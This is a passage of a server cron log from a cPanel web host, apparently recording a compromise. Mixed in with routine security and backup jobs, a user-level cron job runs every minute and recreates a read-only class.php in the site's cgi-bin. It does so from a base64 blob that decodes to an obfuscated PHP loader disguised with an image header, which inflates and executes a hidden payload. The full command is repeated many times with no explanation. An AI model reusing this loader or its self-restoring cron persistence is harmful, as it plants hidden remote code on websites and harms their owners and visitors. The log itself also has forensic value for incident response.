"$fp")
Sep  2 08:44:01 server CROND[2650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:44:01 server CROND[2651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:44:01 server CROND[2652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:45:01 server CROND[3078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:45:01 server CROND[3080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:45:01 server CROND[3083]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:45:01 server CROND[3084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:45:01 server CROND[3085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:45:01 server CROND[3082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:45:01 server CROND[3086]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:46:01 server CROND[3916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:46:01 server CROND[3917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:46:01 server CROND[3918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:47:01 server CROND[4464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:47:01 server CROND[4465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:47:01 server CROND[4466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:48:01 server CROND[4880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:48:01 server CROND[4881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:48:01 server CROND[4882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:49:01 server CROND[5267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:49:01 server CROND[5268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:49:01 server CROND[5269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:50:01 server CROND[5667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:50:01 server CROND[5668]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:50:01 server CROND[5671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:50:01 server CROND[5680]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:50:01 server CROND[5685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:50:01 server CROND[5681]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:50:01 server CROND[5682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:50:01 server CROND[5683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:50:01 server CROND[5679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:51:01 server CROND[6520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:51:01 server CROND[6521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:51:01 server CROND[6522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:52:01 server CROND[6997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:52:01 server CROND[6998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:52:01 server CROND[6999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:53:01 server CROND[7393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:53:01 server CROND[7394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:53:01 server CROND[7395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:54:01 server CROND[7789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:54:01 server CROND[7790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:54:01 server CROND[7791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:55:01 server CROND[8192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:55:01 server CROND[8195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:55:01 server CROND[8197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:55:01 server CROND[8196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:55:01 server CROND[8199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:55:01 server CROND[8194]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:55:01 server CROND[8198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
